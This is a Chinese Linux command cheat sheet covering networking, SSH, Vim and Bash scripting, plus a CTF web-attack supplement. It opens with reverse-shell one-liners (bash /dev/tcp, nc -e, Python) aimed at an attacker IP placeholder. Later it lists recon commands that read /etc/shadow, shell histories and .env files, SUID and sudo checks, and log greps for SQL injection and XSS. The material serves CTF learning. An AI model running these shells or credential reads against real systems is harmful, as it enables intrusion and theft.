# Bash 反弹  
bash -i >& /dev/tcp/攻击机IP/4444 0>&1  
# nc 反弹（目标机有 nc 时）  
nc 攻击机IP 4444 -e /bin/bash  
# Python 反弹  
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("攻击机IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'  
  
# —— 文件传输 ——  
# 接收端（先运行）  
nc -lvp 4444 > received_file  
# 发送端  
nc 接收端IP 4444 < file_to_send
```

```
# — 端口扫描 —————
nc -zv host 20-80 # 扫描 20-80 端口 (-z 不发数据)
nc -zv host 22 80 443 # 扫描指定端口
nc -zvu host 53 # 扫描 UDP 端口 (-u)

# — CTF 实战: 连接题目并自动交互 —————
echo "ls" | nc target.com 4444 # 发送单条命令
(echo "cat flag.txt"; sleep 1) | nc target.com 4444 # 延时多命令
```

远程管理

关机与重启

```
shutdown -h now # 立即关机
shutdown -h +10 # 10 分钟后关机
shutdown -r now # 立即重启 (等同 reboot)
shutdown -r +5 "维护重启" # 5 分钟后重启并广播消息
shutdown -c # 取消定时关机/重启

reboot # 立即重启
poweroff # 立即关机 (等同 shutdown -h now)

init 0 # 关机 (运行级别 0)
init 6 # 重启 (运行级别 6)
```

查看网卡信息

```
ifconfig # 查看所有网卡信息
ifconfig eth0 # 查看指定网卡
ip addr show # 现代替代命令 (推荐)
ip addr show eth0 # 查看指定网卡
```

ping

```
ping google.com          # 持续发包测试 (Ctrl+C 停止)
ping -c 4 google.com     # 发送 4 个包
ping -c 4 -w 2 google.com # 超时等待 2 秒
ping -s 1000 google.com  # 发送大包 (测试 MTU)
```

SSH 远程登录

```
ssh root@172.20.10.1      # 默认 22 端口登录
ssh -p 2222 root@172.20.10.1 # 指定端口
ssh -i ~/.ssh/id_rsa root@host # 指定密钥文件

# 免密登录配置
ssh-keygen                # 生成密钥对 (一路回车)
ssh-keygen -t rsa -b 4096  # 指定算法和位数
ssh-copy-id root@172.x.x.x  # 上传公钥到服务器
ssh-copy-id -i ~/.ssh/id_rsa.pub root@172.x.x.x # 指定公钥

# SSH 别名配置 (~/.ssh/config)
Host lion
  HostName 172.x.x.x
  Port 22
  User root
  IdentityFile ~/.ssh/id_rsa
# 配置后直接: ssh lion

# 执行远程命令 (不进入交互)
ssh root@192.x.x.x "ls /var/log"
ssh root@192.x.x.x "systemctl status nginx"
```

scp — 安全文件传输

```
# 本地 → 远程
scp file.txt root@192.x.x.x:/path/
scp -r dir/ root@192.x.x.x:/path/ # 传输目录 (-r 递归)
scp -P 2222 file.txt root@host:/path/ # 指定端口 (注意是大写 -P)

# 远程 → 本地
```

```
scp root@192.x.x.x:/path/file.txt .
scp root@192.x.x.x:/path/file.txt /local/path/

# 远程 → 远程
scp root@host1:/path/file.txt root@host2:/path/

# 增量同步 (rsync)
rsync -arv src/ dst/ # 本地同步
rsync -arv src/ root@192.x.x.x:dst/ # 同步到远程
rsync -arv --delete src/ dst/ # 同步并删除目标多余文件
rsync -azP src/ root@192.x.x.x:dst/ # 压缩传输 + 进度条
```

系统信息

时间和日期

```
date # 显示当前日期时间
date "+%Y-%m-%d %H:%M:%S" # 格式化输出: 2024-01-14 12:30:00
date -s "2024-01-14 12:00:00" # 设置系统时间 (需 root)
stat filename # 查看文件时间戳 amc

cal # 显示本月日历
cal 2024 # 显示 2024 年日历
cal 1 2024 # 显示 2024 年 1 月日历

timedatectl # 查看/设置时区信息
timedatectl list-timezones | grep Shanghai
timedatectl set-timezone Asia/Shanghai # 设置时区
```

磁盘信息

```
df -h # 查看磁盘空间使用情况（人类可读）
df -h /home # 查看指定目录所在磁盘
df -T # 同时显示文件系统类型

du # 查看当前目录所有文件大小
du -h # 人类可读格式
du -sh * # 查看当前目录每个子项大小
du -sh /var/log # 查看指定目录总大小
du -h --max-depth=1 /var # 只看一层深度

# 常用组合：找出占用最多的目录
du -sh /* 2>/dev/null | sort -rh | head -10
```

进程信息

```
ps -aux # 查看所有进程（CPU/内存/状态）
ps -ef # 另一种格式（含父进程 PPID）
top # 动态查看进程（实时刷新）
htop # 增强版 top（需安装）

free -h # 查看内存使用情况
vmstat 1 # 每秒刷新系统资源统计
uptime # 查看系统运行时长和负载
uname -a # 查看系统内核版本
cat /etc/os-release # 查看发行版信息
lscpu # 查看 CPU 信息
```

磁盘管理

```
lsblk                                # 列出块设备（硬盘、分区等）
fdisk -l                             # 查看所有磁盘分区（需 root）
blkid                                 # 查看分区 UUID 和文件系统类型

# 挂载与卸载
mount /dev/sdb1 /mnt/usb             # 挂载设备到目录
umount /mnt/usb                      # 卸载
mount | grep sdb                     # 查看已挂载设备

# 自动挂载（编辑 /etc/fstab）
# UUID=xxx /mnt/data ext4 defaults 0 0
```

Vim 编辑器

模式切换

```
正常模式（默认）
    ↓ i/a/o                ↑ Esc
插入模式

正常模式 → : → 命令模式
正常模式 → v/V/Ctrl+v → 可视模式
```

打开与退出

```
vim file.txt    打开文件
:q              退出（未修改）
:wq 或 :x       保存并退出
:q!             不保存强制退出
:w             仅保存不退出
:w newfile.txt  另存为新文件
```

光标移动

<code>h / j / k / l</code>	左 / 下 / 上 / 右
<code>w</code>	跳到下一个单词词首
<code>b</code>	跳到上一个单词词首
<code>e</code>	跳到当前单词词尾
<code>0 / \$</code>	行首 / 行尾
<code>gg / G</code>	文件首 / 文件尾
数字 + <code>gg</code>	跳到第 N 行（如 10gg 跳到第 10 行）
<code>Ctrl + f / b</code>	向下 / 向上翻页
<code>Ctrl + d / u</code>	向下 / 向上翻半页
<code>+ / -</code>	下 / 上一行

编辑操作

<code>i / a / o</code>	进入插入模式（光标前 / 后 / 新行）
<code>I / A / O</code>	行首插入 / 行尾插入 / 上方新行
<code>x</code>	删除当前字符
<code>X</code>	删除光标前字符
<code>dd</code>	删除当前行
<code>3dd</code>	删除 3 行
<code>dw</code>	删除当前单词
<code>d0 / d\$</code>	删除到行首 / 行尾
<code>yy</code>	复制当前行
<code>3yy</code>	复制 3 行
<code>yw</code>	复制当前单词
<code>p / P</code>	粘贴到光标后 / 前
<code>r + 字符</code>	替换当前字符
<code>u</code>	撤销
<code>Ctrl + R</code>	重做
<code>.</code>	重复上一次操作（非常实用）
<code>>></code>	当前行向右缩进
<code><<</code>	当前行向左缩进

查找与替换

/关键字	向后查找, n 下一个, N 上一个
?关键字	向前查找
:s/old/new	替换当前行第一个
:s/old/new/g	替换当前行所有
:2,4s/old/new/g	替换第 2-4 行所有
:%s/old/new/g	全文替换
:%s/old/new/gc	全文替换, 每次确认

其他功能

:set nu / nonu	显示 / 隐藏行号
:set paste	粘贴模式 (防止自动缩进错乱)
:r filename	在光标处插入另一文件内容
:!ls	执行外部命令
:sp file	水平分屏
:vsp file	垂直分屏
Ctrl+W + 方向键	切换分屏视口
Ctrl+W + q	关闭当前分屏

可视模式

v	字符选择
V	行选择
Ctrl + v	块选择 (列编辑)
Ctrl + v → 选中 → I → 输入 → ESC ESC	多行同时插入
d	删除选中
y	复制选中
u / U	转小写 / 大写
> / <	增加 / 减少缩进

永久配置 **Vim**: 编辑 `~/.vimrc`, 常用配置如 `set nu` (显示行号)、`syntax on` (语法高亮)。

```
" ~/.vimrc 常用配置示例
set number          " 显示行号
set tabstop=4       " Tab 宽度为 4 个空格
set expandtab        " Tab 转为空格
set autoindent       " 自动缩进
set hlsearch        " 搜索高亮
set incsearch        " 实时搜索
syntax on           " 语法高亮
set encoding=utf-8   " 文件编码
```

Shell

```
vim test.sh
#!/bin/bash          # 告诉系统这个脚本需要什么解释器来
                    # 执行，即使用哪一种 shell

echo "hello world !"

# 执行
chmod +x ./test.sh   # 将代码保存 cd到相应目录 使脚本具
                    # 有执行权限

./test.sh            # 执行脚本
or
/bin/sh test.sh      # 直接运行解释器
/bin/php test.php

# 变量
避免使用空格 大写字母表示常量 推荐加花括号${variable}

for file in `ls /etc` # 将 /etc 下目录的文件名循环出来
$variable             # 使用定义过的变量要$ 定义不用
readonly variable     # 定义为只读变量
unset variable        # 删除变量
declare -i variable=10 # 声明整数变量

# 字符串
单引号内字符原样输出 变量无效 双引号可有变量和转义字符

greeting="hello, "$variable"!" # 拼接字符串
```

```
echo ${#string}                # 获取字符串长度
                                # 变量为字符串时${#string}等价
                                # 于${#string[0]} 第一个索引为0
echo ${string:1:4}             # 提取子字符串 数字是索引
echo `expr index "$string" io` # 查找字符io位置 此处为反引号

# 数组
支持一维

array_name=(value0 value1 value2) # 定义
array_name[0]=value0              # 单独定义
valuen=${array_name[n]}          # 读取数组 n改为@读取所有元素
length=${#array_name[@]}         # 获取数组长度

# 注释
: '
这是注释的部分。
可以有多行内容。
'                                #由于冒号是一个空命令，这些内容不会
                                被执行。格式为: : + 空格 + 单引号
```

```
# 传递参数
```

```
#!/bin/bash
# author: 菜鸟教程
# url: www.runoob.com

echo "Shell 传递参数实例！";
echo "执行的文件名: $0";
echo "第一个参数为: $1";
echo "第二个参数为: $2";
echo "第三个参数为: $3";
```

为脚本设置可执行权限，并执行脚本，输出结果如下所示：

```
$ chmod +x test.sh
$ ./test.sh 1 2 3
Shell 传递参数实例！
执行的文件名: ./test.sh
第一个参数为: 1
第二个参数为: 2
第三个参数为: 3
```

另外，还有几个特殊字符用来处理参数：

参数处理	说明
\$#	传递到脚本的参数个数
\$*	以一个单字符串显示所有向脚本传递的参数。 如"\$*"用「」括起来的情况、以"\$1 \$2 ... \$n"的形式输出所有参数。
\$\$	脚本运行的当前进程ID号
\$_	后台运行的最后一个进程的ID号
@	与\$*相同，但是使用时加引号，并在引号中返回每个参数。 如"\$@"用「」括起来的情况、以"\$1" "\$2" ... "\$n" 的形式输出所有参数。
-	显示Shell使用的当前选项，与set命令功能相同。
?	显示最后命令的退出状态。0表示没有错误，其他任何值表明有错误。

shell基本运算符： 算数 关系 布尔 字符串 文件测试

- 算数运算符 + - * / % == !=
乘号加\才能实现乘法运算

原生**bash**不支持简单的数学运算 **expr** 是一款表达式计算工具，使用它能完成表达式的求值操作

```
val=`expr 2 + 2`          # 2 + 2 必须要有空格 完整表达式被``包含
echo "两数之和为 : $val"  #
```

- 关系运算符

运算符	说明	举例
-eq	检测两个数是否相等，相等返回 true。	[\$a -eq \$b] 返回 false。
-ne	检测两个数是否不相等，不相等返回 true。	[\$a -ne \$b] 返回 true。
-gt	检测左边的数是否大于右边的，如果是，则返回 true。 (greater than)	[\$a -gt \$b] 返回 false。
-lt	检测左边的数是否小于右边的，如果是，则返回 true。(less than)	[\$a -lt \$b] 返回 true。
-ge	检测左边的数是否大于等于右边的，如果是，则返回 true。 (greater or equal)	[\$a -ge \$b] 返回 false。
-le	检测左边的数是否小于等于右边的，如果是，则返回 true。 (less or equal)	[\$a -le \$b] 返回 true。

例子：

```
if [ $a -eq $b ]
then
    echo "$a -eq $b : a 等于 b"
else
    echo "$a -eq $b: a 不等于 b"
fi
```

输出结果：10 -eq 20: a 不等于 b

- 布尔运算符

运算符	说明	举例
!	非运算，表达式为 true 则返回 false，否则返回 true。	[! false] 返回 true。
-o	或运算，有一个表达式为 true 则返回 true。or	[\$a -lt 20 -o \$b -gt 100] 返回 true。
-a and	与运算，两个表达式都为 true 才返回 true。	[\$a -lt 20 -a \$b -gt 100] 返回 false。

- 逻辑运算符（优先）

运算符	说明	举例
&&	逻辑的 AND	[[\$a -lt 100 && \$b -gt 100]] 返回 false
	逻辑的 OR	[[\$a -lt 100 \$b -gt 100]] 返回 true

shell 中 0 代表 true 非零代表 false

command1 && command2 :只有 command1 执行成功（exit code = 0），才执行 command2

command1 || command2 : 只有 command1 执行失败（exit code ≠ 0），才执行 command2

command1 && command2 || command3 :如果 command1 成功 → 执行 command2 否则 → 执行 command3 (但若c2错误也会执行c3)

- 字符串运算符

运算符	说明	举例
=	检测两个字符串是否相等，相等返回 true。	[\$a = \$b] 返回 false。
!=	检测两个字符串是否不相等，不相等返回 true。	[\$a != \$b] 返回 true。
-z	检测字符串长度是否为0，为0返回 true。	[-z \$a] 返回 false。
-n	检测字符串长度是否不为 0，不为 0 返回 true。	[-n "\$a"] 返回 true。
\$	检测字符串是否不为空，不为空返回 true。	[\$a] 返回 true。

- 文件测试运算符

操作符	说明	举例
-b file	检测文件是否是块设备文件，如果是，则返回 true 。	[-b \$file] 返回 false 。
-c file	检测文件是否是字符设备文件，如果是，则返回 true 。	[-c \$file] 返回 false 。
-d file	检测文件是否是目录，如果是，则返回 true 。	[-d \$file] 返回 false 。
-f file	检测文件是否是普通文件（既不是目录，也不是设备文件），如果是，则返回 true 。	[-f \$file] 返回 true 。
-g file	检测文件是否设置了 SGID 位，如果是，则返回 true 。	[-g \$file] 返回 false 。
-k file	检测文件是否设置了粘着位(Sticky Bit)，如果是，则返回 true 。	[-k \$file] 返回 false 。
-p file	检测文件是否是有名管道，如果是，则返回 true 。	[-p \$file] 返回 false 。
-u file	检测文件是否设置了 SUID 位，如果是，则返回 true 。	[-u \$file] 返回 false 。
-r file	检测文件是否可读，如果是，则返回 true 。	[-r \$file] 返回 true 。
-w file	检测文件是否可写，如果是，则返回 true 。	[-w \$file] 返回 true 。
-x file	检测文件是否可执行，如果是，则返回 true 。	[-x \$file] 返回 true 。
-s file	检测文件是否为空（文件大小是否大于0），不为空返回 true 。	[-s \$file] 返回 true 。
-e file	检测文件（包括目录）是否存在，如果是，则返回 true 。	[-e \$file] 返回 true 。

其他检查符：

- **-S**: 判断某文件是否 **socket**。
- **-L**: 检测文件是否存在并且是一个符号链接。
- 自增自减操作符

```
let num++ # let命令
num=$((num + 1)) # 使用 $(( )) 进行算术运算
num=$((expr $num + 1)) # expr命令
```

echo命令：

```
echo -n "xxxx" # 不换行输出
echo -e "xxxx" # 启用转义字符解释
echo "This will be saved to file" > output.txt # 使用重定向将输出保存到文件
echo "Additional line" >> output.txt # 追加内容
echo "Today is $(date)" # 使用命令替换输出命令结果
```

转义序列	说明
<code>\n</code>	换行
<code>\t</code>	水平制表符
<code>\v</code>	垂直制表符
<code>\b</code>	退格
<code>\r</code>	回车
<code>\\</code>	反斜杠字符本身

printf 命令：

格式说明符：

- `%s`：字符串 `|%10s|` `|% -10s|` 右/左对齐 占10宽度
- `%d`：十进制整数 `%04d` 4宽度 用0填充
- `%f`：浮点数 `%8.2f` 精度2位小数 8宽度
- `%c`：字符
- `%x`：十六进制数
- `%o`：八进制数
- `%b`：二进制数

- **%e**: 科学计数法表示的浮点数

例子: `printf "%-10s %5d %8.2f\n" "Apple" 5 2.5 "Orange" 3 1.75`

Apple	5	2.50
Orange	3	1.75

printf 的转义序列:

序列	说明
<code>\a</code>	警告字符, 通常为ASCII的BEL字符
<code>\b</code>	后退
<code>\c</code>	抑制 (不显示) 输出结果中任何结尾的换行字符 (只在 %b 格式指示符控制下的参数字符串中有效), 而且, 任何留在参数里的字符、任何接下来的参数以及任何留在格式字符串中的字符, 都被忽略
<code>\f</code>	换页 (formfeed)
<code>\n</code>	换行
<code>\r</code>	回车 (Carriage return)
<code>\t</code>	水平制表符
<code>\v</code>	垂直制表符
<code>\</code>	一个字面上的反斜杠字符
<code>\ddd</code>	表示1到3位数八进制值的字符。仅在格式字符串中有效
<code>\0ddd</code>	表示1到3位的八进制值字符

test 命令:

通常与if语句结合使用 格式: `[ expression ]` (空格很重要) or `test expression`

`[[ ]] (( )) <--` 算数比较

`[[ ]]` 是 **Bash** 专门设计的一种更安全、更强的判断语法

1. 支持 `||` / `&&` 不用担心变量未加引号

2. 支持模式匹配 `[[ "$var" == *.txt ]]` 判断是否为 `.txt` 文件

3.支持正则表达式 `[[ "$var" =~ ^[0-9]+$ ]]` `=~` 正则匹配运算符,右边跟正则表达式 `^` 从头开始匹配 `$`到结尾 即判断是否全为数字构成

流程控制:

if else语句:

```
if condition
then
    command1
    command2
    ...
    commandN
else
    command
fi
if [ $(ps -ef | grep -c "ssh") -gt 1 ]; then echo "true"; fi
```

如果系统中包含 `"ssh"` 的进程数量 大于 `1`, 就输出 `true` 但没有排除grep自身

改进:

```
if [ $(pgrep -c ssh) -gt 0 ]; then echo "true"; fi
```

写成一行适用于终端命令提示符

if elif else语句:

```
if condition1
then
    command1
elif condition2
then
    command2
else
    commandN
fi
```

if else 的 [...] 判断语句中大于使用 **-gt**，小于使用 **-lt**。

如果使用 **((...))** 作为判断语句，大于和小于可以直接使用 **>** 和 **<**。

for循环：

```
for var in item1 item2 ... itemN
do
    command1
    command2
    ...
    commandN
done
```

while语句：

```
while condition
do
    command
done
```

until循环：

执行到**true**为止

```
until condition
do
    command
done
```

case ... esac：

多选择语句，与其他语言中的 **switch ... case** 语句类似，是一种多分支选择结构

```
case 值 in
    模式1)
        command1
        command2
```

```

...
commandN
;;                                # 表示break
模式2)
command1
command2
...
commandN
;;
esac                             # case反过来写

```

跳出循环：**break continue**（只跳出当前循环）

输入输出重定向：

命令	说明
<code>command > file</code>	将输出重定向到 <code>file</code> 。
<code>command < file</code>	将输入重定向到 <code>file</code> 。
<code>command >> file</code>	将输出以追加的方式重定向到 <code>file</code> 。
<code>n > file</code>	将文件描述符为 <code>n</code> 的文件重定向到 <code>file</code> 。
<code>n >> file</code>	将文件描述符为 <code>n</code> 的文件以追加的方式重定向到 <code>file</code> 。
<code>n >& m</code>	将输出文件 <code>m</code> 和 <code>n</code> 合并。
<code>n <& m</code>	将输入文件 <code>m</code> 和 <code>n</code> 合并。
<code><< tag</code>	将开始标记 <code>tag</code> 和结束标记 <code>tag</code> 之间的内容作为输入。

需要注意的是文件描述符 `0` 通常是标准输入（`STDIN`），`1` 是标准输出（`STDOUT`），`2` 是标准错误输出（`STDERR`）。

```
command1 < infile > outfile
```

同时替换输入和输出，执行`command1`，从文件`infile`读取内容，然后将输出写入到`outfile`中。

`command 2>file` 将`stderr`重定向

Here Document 是 Shell 中的一种特殊的重定向方式，用来将输入重定向到一个交互式 Shell 脚本或程序。

```
command << delimiter
    document
delimiter # 顶格写
```

CTF Web 实战补充

本章专为 *CTF Web* 方向整理，聚焦进攻场景与实战组合能力。

编码与解码（CTF 高频）

Web CTF 中的 cookie、token、payload 经常经过编码处理，需要熟练在命令行解码。

```
# — Base64 —————
# 编码
echo -n "admin:password" | base64 # -n 不输出末尾换行
# 输出: YWRtaW46cGFzc3dvcmQ=

# 解码
echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d
# 输出: admin:password

# 解码不换行（避免多余换行干扰）
echo -n "YWRtaW4=" | base64 -d && echo

# CTF 实战: 解码响应中的 base64 token
curl -s http://target.com/token | base64 -d

# CTF 实战: base64 解码后再 grep flag
curl -s http://target.com/data | base64 -d | grep flag

# URL 安全的 base64 (+ → -, / → _, 末尾可能没有 =)
echo "YWRtaW4" | tr '_-' '/+' | base64 -d 2>/dev/null

# — xxd — 十六进制查看与转换 —————
xxd file.bin # 显示十六进制 + ASCII 对照
xxd -p file.bin # 只输出纯十六进制（无地址无ASCII）
```

```
xxd -p file.bin | tr -d '\n' # 输出连续十六进制字符串
```

十六进制 → 原始二进制

```
echo "68656c6c6f" | xxd -r -p # 输出: hello
```

```
echo "68656c6c6f" | xxd -r -p > out.bin # 保存二进制文件
```

CTF 实战: 查看文件魔数 (文件头)

```
xxd suspicious_file | head -3
```

JPEG 魔数: FF D8 FF

PNG 魔数: 89 50 4E 47 0D 0A 1A 0A

ZIP 魔数: 50 4B 03 04

GIF 魔数: 47 49 46 38

CTF 实战: 修复文件头 (文件格式被破坏时)

```
printf '\xff\xd8\xff' | cat - broken.jpg > fixed.jpg # 添加 JPEG 魔数
```

— hexdump — 另一种十六进制查看方式 —————

```
hexdump -C file # 十六进制 + ASCII 列 (-C 更易读)
```

```
hexdump -C file | head -10 # 只看前 10 行
```

```
hexdump -e '"%08_ax: " 16/1 "%02x " "\n"' file # 自定义格式
```

— 其他常用编解码 —————

URL 编码/解码 (需 python3)

```
python3 -c "import urllib.parse;
print(urllib.parse.unquote('%61%64%6d%69%6e'))"
```

```
python3 -c "import urllib.parse;
print(urllib.parse.quote('admin/<script>'))"
```

HTML 实体解码 (需 python3)

```
python3 -c "import html; print(html.unescape('&lt;script&gt;'))"
```

ROT13 (简单凯撒密码)

```
echo "uryyb" | tr 'A-Za-z' 'N-ZA-Mn-za-m' # 输出: hello
```

MD5 / SHA 哈希计算

```
echo -n "password" | md5sum # 计算 MD5
```

```
echo -n "password" | sha256sum # 计算 SHA-256
```

```
md5sum file.txt # 文件 MD5
```

日志分析（实战组合能力）

Web CTF 中常见的题型：给一份 access.log，从中找出攻击行为或隐藏的 flag。

```
# — access.log 典型格式 —————
# 127.0.0.1 - - [01/Jan/2024:12:00:00 +0000] "GET /index.php
HTTP/1.1" 200 1234
# $1=IP   $4=时间   $6=方法   $7=路径   $9=状态码   $10=响应大小

# — 基础统计 —————
# 统计各 IP 访问次数，按频率降序
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20

# 统计各 HTTP 状态码数量
awk '{print $9}' access.log | sort | uniq -c | sort -rn

# 统计各 URL 访问次数
awk '{print $7}' access.log | sort | uniq -c | sort -rn | head -20

# 查看某个 IP 的所有请求
grep "^192.168.1.1 " access.log
awk '$1=="192.168.1.1"' access.log

# — 攻击行为识别 —————
# 找 SQL 注入痕迹
grep -i "union\\|select\\|sleep\\|benchmark\\|0x" access.log

# 找路径穿越攻击
grep "\\..\\.\\.\\|\\|%2e%2e" access.log

# 找文件包含攻击
grep -i "etc/passwd\\|etc/shadow\\|proc/self" access.log

# 找 XSS 尝试
grep -i "script\\|onerror\\|alert\\|<img" access.log

# 找扫描行为（短时间大量 404）
awk '$9==404 {print $1}' access.log | sort | uniq -c | sort -rn |
head -10
```

```

# — 完整组合套路 —————

# 套路1: 找攻击者 IP (请求量异常大的)
awk '{print $1}' access.log | sort | uniq -c | sort -rn

# 套路2: 查看该 IP 具体请求了什么
grep "^攻击者IP " access.log | awk '{print $7}' | sort | uniq

# 套路3: 找 flag (flag 可能在 URL 参数或响应中)
grep -i "flag\|ctf" access.log
cat access.log | grep flag | awk '{print $7}' | base64 -d

# 套路4: 时间维度分析 (找爆破行为)
awk '{print $4}' access.log | cut -d: -f1,2 | uniq -c # 按小时统计

# 套路5: 找成功的攻击 (状态码 200, 路径含特征)
awk '$9==200 && /admin|shell|cmd/' access.log

```

信息收集 (CTF 渗透通用)

```

# — 当前系统信息 —————

whoami # 当前用户
id # 当前用户的 uid/gid/groups
hostname # 主机名
uname -a # 内核版本 (查找内核提权漏洞时用)
cat /etc/os-release # 发行版信息
cat /proc/version # 内核编译信息

# — 网络信息 —————

ip addr # 本机 IP (可能在内网)
ip route # 路由表 (判断网段)
netstat -tuln # 监听的端口 (找内部服务)
ss -tuln # 同上 (更现代)
cat /etc/hosts # hosts 文件 (内网域名映射)
cat /etc/resolv.conf # DNS 配置

# — 文件系统敏感信息 —————

ls -la /home/ # 查看所有用户家目录

```

```

ls -la /root/ 2>/dev/null      # 尝试访问 root 家目录
cat /etc/passwd                # 所有用户列表（关注 UID=0 的用户）
cat /etc/shadow 2>/dev/null    # 密码 hash（需 root）
find / -name "flag*" 2>/dev/null    # 直接找 flag 文件
find / -name "*.txt" 2>/dev/null | head -30 # 找 txt 文件
find / -name "config*" 2>/dev/null    # 找配置文件
find / -name ".env" 2>/dev/null      # 找环境变量文件（常含密码）
find / -name "*.php" 2>/dev/null | head -20 # 找 PHP 源码

# — 历史命令（可能泄露密码/操作痕迹） —
cat ~/.bash_history
cat ~/.zsh_history
history

# — 计划任务（提权点） —
crontab -l                    # 当前用户的计划任务
cat /etc/crontab              # 系统计划任务
ls -la /etc/cron.d/           # cron 目录

# — 运行中的服务 —
ps -aux                      # 所有进程（找特殊服务）
ps -aux | grep -v "\[" | awk '{print $11}' | sort -u # 去内核线程
netstat -anp 2>/dev/null     # 端口 + 进程对应关系（需 root）

# — 环境变量（可能含 flag 或密钥） —
env                          # 查看所有环境变量
printenv                    # 同上
echo $FLAG                  # 某些 CTF flag 直接在环境变量中

```

CTF 实战常用 Python 辅助

当 bash 工具不够用时，python3 是最好的补充。

```

# 快速起 HTTP 服务（传文件）
python3 -m http.server 8080      # 在当前目录起 web 服务
# 然后在另一台机器: wget http://攻击机IP:8080/文件名

# 一行执行 python 代码

```

```
python3 -c "print('hello')"  
python3 -c "import base64;  
print(base64.b64decode('YWRtaW4=').decode())"  
python3 -c "print(0x61646d696e)"    # 十六进制转十进制/字符  
  
# 交互式 python 解码  
python3  
>>> import base64  
>>> base64.b64decode("flag in base64 here")  
>>> import binascii  
>>> binascii.unhexlify("68656c6c6f") # hex → bytes
```

一句话组合速查（打题套路）

```
# 找 flag（直接搜）  
find / -name "flag*" 2>/dev/null  
grep -r "flag{" / 2>/dev/null | head -20  
env | grep -i flag  
  
# 日志分析三连击  
awk '{print $1}' access.log | sort | uniq -c | sort -rn # 统计IP  
awk '$9==200' access.log | awk '{print $7}' | sort -u    # 成功请求的  
URL  
grep -i "union\\|select\\|passwd" access.log              # 找攻击特征  
  
# base64 解码管道  
echo "YWRtaW4=" | base64 -d && echo  
curl -s http://target.com | grep -oP 'flag\[^[^]+\]'      # 正则提取  
flag  
  
# 提权信息收集三连  
sudo -l                                                    # sudo 权限  
find / -perm -4000 2>/dev/null                             # SUID 文件  
cat /etc/crontab; ls /etc/cron.d/                          # 计划任务  
  
# 批量请求测试  
for i in $(seq 1 100); do curl -s "http://target.com/page?id=$i" |  
grep flag; done
```

```
cat ids.txt | xargs -I {} curl -s "http://target.com/item?id={}" |  
grep flag
```